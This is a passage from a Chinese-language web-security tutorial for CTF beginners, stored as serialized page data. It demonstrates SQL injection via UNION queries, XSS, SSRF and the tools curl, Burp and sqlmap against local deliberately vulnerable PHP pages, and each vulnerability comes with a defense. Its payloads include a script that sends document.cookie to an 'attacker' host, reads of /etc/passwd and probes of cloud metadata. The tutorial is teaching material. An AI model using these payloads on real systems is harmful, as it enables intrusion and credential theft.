\"http://127.0.0.1:8000/vuln.php?id=1'\"\n# 目的：在 id 后追加一个单引号，观察是否报错。\n# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[26,13026,13027,13037,13042,13047],{"__ignoreMap":36},[40,13028,13029,13031,13033,13035],{"class":42,"line":43},[40,13030,5437],{"class":276},[40,13032,5440],{"class":505},[40,13034,5477],{"class":284},[40,13036,5446],{"class":505},[40,13038,13039],{"class":42,"line":49},[40,13040,13041],{"class":2552},"# 目的：在 id 后追加一个单引号，观察是否报错。\n",[40,13043,13044],{"class":42,"line":55},[40,13045,13046],{"class":2552},"# 若语句变成 SELECT ... WHERE id = 1'，SQL 语法不完整，MySQL 会报错。\n",[40,13048,13049],{"class":42,"line":62},[40,13050,13051],{"class":2552},"# 报错 = 输入确实进入了 SQL 语句（注入点存在的第一个证据）。\n",[15,13053,13054],{},"预期输出：SQL 语法错误，例如：",[31,13056,13058],{"className":13057,"code":5486,"language":380,"meta":36},[378],[26,13059,5486],{"__ignoreMap":36},[15,13061,13062],{},"这说明我们的单引号进入了 SQL 语句并破坏了语法。",[15,13064,13065],{},"输入 2：",[31,13067,13069],{"className":267,"code":13068,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[26,13070,13071,13081,13086],{"__ignoreMap":36},[40,13072,13073,13075,13077,13079],{"class":42,"line":43},[40,13074,5437],{"class":276},[40,13076,5440],{"class":505},[40,13078,5513],{"class":284},[40,13080,5446],{"class":505},[40,13082,13083],{"class":42,"line":49},[40,13084,13085],{"class":2552},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[40,13087,13088],{"class":42,"line":55},[40,13089,13090],{"class":2552},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,13092,423,13093,13095],{},[26,13094,5520],{},"（条件为真，正常返回）。",[15,13097,13098],{},"输入 3：",[31,13100,13102],{"className":267,"code":13101,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[26,13103,13104,13114,13119],{"__ignoreMap":36},[40,13105,13106,13108,13110,13112],{"class":42,"line":43},[40,13107,5437],{"class":276},[40,13109,5440],{"class":505},[40,13111,5539],{"class":284},[40,13113,5446],{"class":505},[40,13115,13116],{"class":42,"line":49},[40,13117,13118],{"class":2552},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[40,13120,13121],{"class":42,"line":55},[40,13122,13123],{"class":2552},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13125,13126],{},"预期输出：空（条件为假，查不到数据）。",[15,13128,13129,13130,13132,13133,5558],{},"三个结果合起来：单引号报错、",[26,13131,5553],{}," 正常、",[26,13134,5557],{},[355,13136,13138],{"id":13137},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13140,13141,13143],{},[333,13142,335],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13145,13146,13148,13149,13151],{},[333,13147,341],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[26,13150,5578],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13153,13154],{},"第一步，确定列数：",[31,13156,13158],{"className":267,"code":13157,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[26,13159,13160,13170,13175],{"__ignoreMap":36},[40,13161,13162,13164,13166,13168],{"class":42,"line":43},[40,13163,5437],{"class":276},[40,13165,5440],{"class":505},[40,13167,5605],{"class":284},[40,13169,5446],{"class":505},[40,13171,13172],{"class":42,"line":49},[40,13173,13174],{"class":2552},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[40,13176,13177],{"class":42,"line":55},[40,13178,13179],{"class":2552},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13181,13182],{},"第二步，确认哪一列会回显：",[31,13184,13186],{"className":267,"code":13185,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[26,13187,13188,13198,13203,13208],{"__ignoreMap":36},[40,13189,13190,13192,13194,13196],{"class":42,"line":43},[40,13191,5437],{"class":276},[40,13193,5440],{"class":505},[40,13195,5669],{"class":284},[40,13197,5446],{"class":505},[40,13199,13200],{"class":42,"line":49},[40,13201,13202],{"class":2552},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[40,13204,13205],{"class":42,"line":55},[40,13206,13207],{"class":2552},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[40,13209,13210],{"class":42,"line":62},[40,13211,13212],{"class":2552},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13214,423,13215,13217],{},[26,13216,5676],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13219,13220],{},"第三步，查数据库名：",[31,13222,13224],{"className":267,"code":13223,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[26,13225,13226,13236,13241],{"__ignoreMap":36},[40,13227,13228,13230,13232,13234],{"class":42,"line":43},[40,13229,5437],{"class":276},[40,13231,5440],{"class":505},[40,13233,5695],{"class":284},[40,13235,5446],{"class":505},[40,13237,13238],{"class":42,"line":49},[40,13239,13240],{"class":2552},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[40,13242,13243],{"class":42,"line":55},[40,13244,13245],{"class":2552},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13247,423,13248,307],{},[26,13249,1119],{},[15,13251,13252],{},"第四步，查表名：",[31,13254,13256],{"className":267,"code":13255,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[26,13257,13258,13268,13273,13278,13283],{"__ignoreMap":36},[40,13259,13260,13262,13264,13266],{"class":42,"line":43},[40,13261,5437],{"class":276},[40,13263,5440],{"class":505},[40,13265,5719],{"class":284},[40,13267,5446],{"class":505},[40,13269,13270],{"class":42,"line":49},[40,13271,13272],{"class":2552},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[40,13274,13275],{"class":42,"line":55},[40,13276,13277],{"class":2552},"# WHERE table_schema=database()：只筛当前库的表。\n",[40,13279,13280],{"class":42,"line":62},[40,13281,13282],{"class":2552},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[40,13284,13285],{"class":42,"line":68},[40,13286,13287],{"class":2552},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13289,423,13290,307],{},[26,13291,5726],{},[15,13293,13294],{},"第五步，拿 flag：",[31,13296,13298],{"className":267,"code":13297,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[26,13299,13300,13310,13315,13320],{"__ignoreMap":36},[40,13301,13302,13304,13306,13308],{"class":42,"line":43},[40,13303,5437],{"class":276},[40,13305,5440],{"class":505},[40,13307,5783],{"class":284},[40,13309,5446],{"class":505},[40,13311,13312],{"class":42,"line":49},[40,13313,13314],{"class":2552},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[40,13316,13317],{"class":42,"line":55},[40,13318,13319],{"class":2552},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[40,13321,13322],{"class":42,"line":62},[40,13323,13324],{"class":2552},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13326,423,13327,307],{},[26,13328,5790],{},[15,13330,13331],{},"说明：",[9581,13333,13334,13339,13349],{},[1057,13335,13336,13338],{},[26,13337,5578],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[1057,13340,13341,13344,13345,13348],{},[26,13342,13343],{},"--+","：URL 中解码后是 ",[26,13346,13347],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[1057,13350,13351,13354],{},[26,13352,13353],{},"group_concat","：把多行拼成一行，方便一次性输出。",[355,13356,13358],{"id":13357},"_35-防御参数化查询","3.5 防御：参数化查询",[31,13360,13362],{"className":5204,"code":13361,"language":5206,"meta":36,"style":36},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[26,13363,13364,13368],{"__ignoreMap":36},[40,13365,13366],{"class":42,"line":43},[40,13367,6182],{},[40,13369,13370],{"class":42,"line":49},[40,13371,6187],{},[15,13373,13374,13375,13377,13378,13381],{},"此时输入 ",[26,13376,6226],{}," 只会被当作字符串 ",[26,13379,13380],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13383,13385],{"id":13384},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13387,13388,13390],{},[333,13389,335],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13392,13393,13395,13396,13399,13400,13403,13404,13407],{},[333,13394,341],{},"：页面把 ",[26,13397,13398],{},"name"," 原样输出。如果我们传 ",[26,13401,13402],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[26,13405,13406],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[355,13409,13411],{"id":13410},"_41-平台与代码","4.1 平台与代码",[15,13413,13414,13415,29],{},"任意 Web 应用。示例 ",[26,13416,13417],{},"xss.php",[31,13419,13421],{"className":5204,"code":13420,"language":5206,"meta":36,"style":36},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[26,13422,13423],{"__ignoreMap":36},[40,13424,13425],{"class":42,"line":43},[40,13426,13420],{},[355,13428,13430],{"id":13429},"_42-正常请求","4.2 正常请求",[31,13432,13434],{"className":267,"code":13433,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[26,13435,13436],{"__ignoreMap":36},[40,13437,13438,13440,13442,13445],{"class":42,"line":43},[40,13439,5437],{"class":276},[40,13441,5440],{"class":505},[40,13443,13444],{"class":284},"http://127.0.0.1:8000/xss.php?name=alice",[40,13446,5446],{"class":505},[15,13448,303,13449,307],{},[26,13450,13451],{},"你好，alice！",[355,13453,13455],{"id":13454},"_43-注入脚本","4.3 注入脚本",[31,13457,13459],{"className":267,"code":13458,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[26,13460,13461],{"__ignoreMap":36},[40,13462,13463,13465,13467,13470],{"class":42,"line":43},[40,13464,5437],{"class":276},[40,13466,5440],{"class":505},[40,13468,13469],{"class":284},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[40,13471,5446],{"class":505},[15,13473,303],{},[31,13475,13477],{"className":6813,"code":13476,"language":6815,"meta":36,"style":36},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[26,13478,13479,13484,13493,13506,13515],{"__ignoreMap":36},[40,13480,13481],{"class":42,"line":43},[40,13482,13483],{"class":682},"你好，\n",[40,13485,13486,13488,13491],{"class":42,"line":49},[40,13487,6822],{"class":682},[40,13489,13490],{"class":492},"script",[40,13492,1175],{"class":682},[40,13494,13495,13498,13501,13503],{"class":42,"line":55},[40,13496,13497],{"class":276},"  alert",[40,13499,13500],{"class":682},"(",[40,13502,6461],{"class":280},[40,13504,13505],{"class":682},")\n",[40,13507,13508,13511,13513],{"class":42,"line":62},[40,13509,13510],{"class":682},"\u003C/",[40,13512,13490],{"class":492},[40,13514,1175],{"class":682},[40,13516,13517],{"class":42,"line":68},[40,13518,13519],{"class":682},"！\n",[15,13521,13522,13523,13525,13526,13528],{},"浏览器会把 ",[26,13524,13406],{}," 当作代码执行。",[26,13527,5437],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[355,13530,13532],{"id":13531},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13534,13535],{},"攻击者构造 URL：",[31,13537,13539],{"className":6813,"code":13538,"language":6815,"meta":36,"style":36},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[26,13540,13541,13546,13554,13575],{"__ignoreMap":36},[40,13542,13543],{"class":42,"line":43},[40,13544,13545],{"class":682},"http://127.0.0.1:8000/xss.php?name=\n",[40,13547,13548,13550,13552],{"class":42,"line":49},[40,13549,6822],{"class":682},[40,13551,13490],{"class":492},[40,13553,1175],{"class":682},[40,13555,13556,13559,13561,13564,13567,13569,13572],{"class":42,"line":55},[40,13557,13558],{"class":276},"  fetch",[40,13560,13500],{"class":682},[40,13562,13563],{"class":505},"'",[40,13565,13566],{"class":284},"http://attacker/?c=",[40,13568,13563],{"class":505},[40,13570,13571],{"class":492}," +",[40,13573,13574],{"class":682}," document.cookie)\n",[40,13576,13577,13579,13581],{"class":42,"line":62},[40,13578,13510],{"class":682},[40,13580,13490],{"class":492},[40,13582,1175],{"class":682},[15,13584,13585,13586,13589],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[26,13587,13588],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[355,13591,13593],{"id":13592},"_45-防御输出编码","4.5 防御：输出编码",[15,13595,13596],{},"输出前把危险字符转义：",[955,13598,13599,13609],{},[958,13600,13601],{},[961,13602,13603,13606],{},[964,13604,13605],{},"原始字符",[964,13607,13608],{},"转义后",[974,13610,13611,13622,13634,13645,13656],{},[961,13612,13613,13617],{},[979,13614,13615],{},[26,13616,6822],{},[979,13618,13619],{},[26,13620,13621],{},"&lt;",[961,13623,13624,13629],{},[979,13625,13626],{},[26,13627,13628],{},">",[979,13630,13631],{},[26,13632,13633],{},"&gt;",[961,13635,13636,13640],{},[979,13637,13638],{},[26,13639,6080],{},[979,13641,13642],{},[26,13643,13644],{},"&quot;",[961,13646,13647,13651],{},[979,13648,13649],{},[26,13650,13563],{},[979,13652,13653],{},[26,13654,13655],{},"&#39;",[961,13657,13658,13663],{},[979,13659,13660],{},[26,13661,13662],{},"&",[979,13664,13665],{},[26,13666,13667],{},"&amp;",[15,13669,13670,13671,13674],{},"PHP 用 ",[26,13672,13673],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13676,13678],{"id":13677},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13680,13681,13683],{},[333,13682,335],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13685,13686,29,13688,13691,13692,13695,13696,13699,13700,13703,13704,13707],{},[333,13687,341],{},[26,13689,13690],{},"file_get_contents($url)"," 会按 ",[26,13693,13694],{},"$url"," 的协议去读内容。协议决定能力：",[26,13697,13698],{},"file://"," 读本地文件，",[26,13701,13702],{},"http://"," 访问内网，",[26,13705,13706],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[355,13709,13711],{"id":13710},"_51-平台与代码","5.1 平台与代码",[15,13713,13714,13715,29],{},"具有\"URL 处理\"功能的应用。示例 ",[26,13716,13717],{},"ssrf.php",[31,13719,13721],{"className":5204,"code":13720,"language":5206,"meta":36,"style":36},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[26,13722,13723,13727,13732,13737,13742,13747],{"__ignoreMap":36},[40,13724,13725],{"class":42,"line":43},[40,13726,5350],{},[40,13728,13729],{"class":42,"line":49},[40,13730,13731],{},"echo file_get_contents($_GET['url']);\n",[40,13733,13734],{"class":42,"line":55},[40,13735,13736],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[40,13738,13739],{"class":42,"line":62},[40,13740,13741],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[40,13743,13744],{"class":42,"line":68},[40,13745,13746],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[40,13748,13749],{"class":42,"line":74},[40,13750,5388],{},[355,13752,13754],{"id":13753},"_52-读本地文件","5.2 读本地文件",[31,13756,13758],{"className":267,"code":13757,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[26,13759,13760,13771,13776,13781],{"__ignoreMap":36},[40,13761,13762,13764,13766,13769],{"class":42,"line":43},[40,13763,5437],{"class":276},[40,13765,5440],{"class":505},[40,13767,13768],{"class":284},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[40,13770,5446],{"class":505},[40,13772,13773],{"class":42,"line":49},[40,13774,13775],{"class":2552},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[40,13777,13778],{"class":42,"line":55},[40,13779,13780],{"class":2552},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[40,13782,13783],{"class":42,"line":62},[40,13784,13785],{"class":2552},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13787,423],{},[31,13789,13792],{"className":13790,"code":13791,"language":380,"meta":36},[378],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[26,13793,13791],{"__ignoreMap":36},[355,13795,13797],{"id":13796},"_53-探测内网端口","5.3 探测内网端口",[31,13799,13801],{"className":267,"code":13800,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[26,13802,13803,13814,13819,13824],{"__ignoreMap":36},[40,13804,13805,13807,13809,13812],{"class":42,"line":43},[40,13806,5437],{"class":276},[40,13808,5440],{"class":505},[40,13810,13811],{"class":284},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[40,13813,5446],{"class":505},[40,13815,13816],{"class":42,"line":49},[40,13817,13818],{"class":2552},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[40,13820,13821],{"class":42,"line":55},[40,13822,13823],{"class":2552},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[40,13825,13826],{"class":42,"line":62},[40,13827,13828],{"class":2552},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13830,13831],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[355,13833,13835],{"id":13834},"_54-访问云元数据","5.4 访问云元数据",[31,13837,13839],{"className":267,"code":13838,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[26,13840,13841,13852,13857,13862],{"__ignoreMap":36},[40,13842,13843,13845,13847,13850],{"class":42,"line":43},[40,13844,5437],{"class":276},[40,13846,5440],{"class":505},[40,13848,13849],{"class":284},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[40,13851,5446],{"class":505},[40,13853,13854],{"class":42,"line":49},[40,13855,13856],{"class":2552},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[40,13858,13859],{"class":42,"line":55},[40,13860,13861],{"class":2552},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[40,13863,13864],{"class":42,"line":62},[40,13865,13866],{"class":2552},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13868,13869],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[355,13871,13873],{"id":13872},"_55-防御","5.5 防御",[31,13875,13877],{"className":5204,"code":13876,"language":5206,"meta":36,"style":36},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[26,13878,13879,13884,13889,13894],{"__ignoreMap":36},[40,13880,13881],{"class":42,"line":43},[40,13882,13883],{},"$allowed = ['https', 'http'];\n",[40,13885,13886],{"class":42,"line":49},[40,13887,13888],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[40,13890,13891],{"class":42,"line":55},[40,13892,13893],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[40,13895,13896],{"class":42,"line":62},[40,13897,13898],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,13900,13902],{"id":13901},"六必学工具-1curl","六、必学工具 1：curl",[15,13904,13905],{},"三个核心功能，逐个演示。",[15,13907,13908],{},"功能 1：带参数 GET。",[31,13910,13911],{"className":267,"code":5430,"language":269,"meta":36,"style":36},[26,13912,13913],{"__ignoreMap":36},[40,13914,13915,13917,13919,13921],{"class":42,"line":43},[40,13916,5437],{"class":276},[40,13918,5440],{"class":505},[40,13920,5443],{"class":284},[40,13922,5446],{"class":505},[15,13924,303,13925,307],{},[26,13926,5520],{},[15,13928,13929,13930,9450],{},"功能 2：查看完整请求与响应（",[26,13931,12611],{},[31,13933,13935],{"className":267,"code":13934,"language":269,"meta":36,"style":36},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[26,13936,13937,13949,13954,13959],{"__ignoreMap":36},[40,13938,13939,13941,13943,13945,13947],{"class":42,"line":43},[40,13940,5437],{"class":276},[40,13942,12599],{"class":280},[40,13944,5440],{"class":505},[40,13946,5443],{"class":284},[40,13948,5446],{"class":505},[40,13950,13951],{"class":42,"line":49},[40,13952,13953],{"class":2552},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[40,13955,13956],{"class":42,"line":55},[40,13957,13958],{"class":2552},"# \u003C 开头是响应行与响应头，最后是正文。\n",[40,13960,13961],{"class":42,"line":62},[40,13962,13963],{"class":2552},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,13965,13966,13967,13969,13970,13972],{},"输出中 ",[26,13968,13628],{}," 开头的是请求，",[26,13971,6822],{}," 开头的是响应，最下面是正文。",[15,13974,13975,13976,9450],{},"功能 3：POST 数据（",[26,13977,13978],{},"-d",[31,13980,13982],{"className":267,"code":13981,"language":269,"meta":36,"style":36},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[26,13983,13984],{"__ignoreMap":36},[40,13985,13986,13988,13991,13994,13996,13999,14001,14003,14005,14008],{"class":42,"line":43},[40,13987,5437],{"class":276},[40,13989,13990],{"class":280}," -X",[40,13992,13993],{"class":284}," POST",[40,13995,5440],{"class":505},[40,13997,13998],{"class":284},"http://127.0.0.1:8000/login.php",[40,14000,6080],{"class":505},[40,14002,481],{"class":280},[40,14004,5440],{"class":505},[40,14006,14007],{"class":284},"username=admin&password=123",[40,14009,5446],{"class":505},[15,14011,14012],{},"用于登录、上传等需要 POST 的场景。",[10,14014,14016],{"id":14015},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,14018,14019],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[955,14021,14022,14035],{},[958,14023,14024],{},[961,14025,14026,14029,14032],{},[964,14027,14028],{},"模块",[964,14030,14031],{},"用途",[964,14033,14034],{},"操作步骤",[974,14036,14037,14052,14063],{},[961,14038,14039,14042,14045],{},[979,14040,14041],{},"Proxy",[979,14043,14044],{},"拦截请求",[979,14046,14047,14048,14051],{},"浏览器设置代理 ",[26,14049,14050],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[961,14053,14054,14057,14060],{},[979,14055,14056],{},"Repeater",[979,14058,14059],{},"手工重放",[979,14061,14062],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[961,14064,14065,14068,14071],{},[979,14066,14067],{},"Intruder",[979,14069,14070],{},"自动化遍历",[979,14072,14073],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,14075,14076],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,14078,14080],{"id":14079},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,14082,14083],{},"SQL 注入自动化工具。三个核心命令：",[15,14085,14086],{},"命令 1：检测。",[31,14088,14089],{"className":267,"code":6063,"language":269,"meta":36,"style":36},[26,14090,14091],{"__ignoreMap":36},[40,14092,14093,14095,14097,14099,14101,14103],{"class":42,"line":43},[40,14094,6070],{"class":276},[40,14096,6073],{"class":280},[40,14098,5440],{"class":505},[40,14100,5443],{"class":284},[40,14102,6080],{"class":505},[40,14104,6083],{"class":280},[15,14106,515],{},[31,14108,14110],{"className":14109,"code":6089,"language":380,"meta":36},[378],[26,14111,6089],{"__ignoreMap":36},[15,14113,14114],{},"命令 2：列数据库。",[31,14116,14117],{"className":267,"code":6098,"language":269,"meta":36,"style":36},[26,14118,14119],{"__ignoreMap":36},[40,14120,14121,14123,14125,14127,14129,14131],{"class":42,"line":43},[40,14122,6070],{"class":276},[40,14124,6073],{"class":280},[40,14126,5440],{"class":505},[40,14128,5443],{"class":284},[40,14130,6080],{"class":505},[40,14132,6115],{"class":280},[15,14134,14135,14136,307],{},"预期输出：数据库列表，包含 ",[26,14137,1119],{},[15,14139,14140],{},"命令 3：导出数据。",[31,14142,14143],{"className":267,"code":6127,"language":269,"meta":36,"style":36},[26,14144,14145],{"__ignoreMap":36},[40,14146,14147,14149,14151,14153,14155,14157,14159,14161,14163,14165],{"class":42,"line":43},[40,14148,6070],{"class":276},[40,14150,6073],{"class":280},[40,14152,5440],{"class":505},[40,14154,5443],{"class":284},[40,14156,6080],{"class":505},[40,14158,6144],{"class":280},[40,14160,6147],{"class":284},[40,14162,6150],{"class":280},[40,14164,6153],{"class":284},[40,14166,6156],{"class":280},[15,14168,423,14169,14171,14172,307],{},[26,14170,3281],{}," 表内容，即 ",[26,14173,5790],{},[10,14175,14177],{"id":14176},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14179,14180,14181,14184],{},"题目：登录页 ",[26,14182,14183],{},"login.php","，源码：",[31,14186,14188],{"className":5204,"code":14187,"language":5206,"meta":36,"style":36},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[26,14189,14190,14195,14200],{"__ignoreMap":36},[40,14191,14192],{"class":42,"line":43},[40,14193,14194],{},"$user = $_POST['user'];\n",[40,14196,14197],{"class":42,"line":49},[40,14198,14199],{},"$pass = $_POST['pass'];\n",[40,14201,14202],{"class":42,"line":55},[40,14203,14204],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . 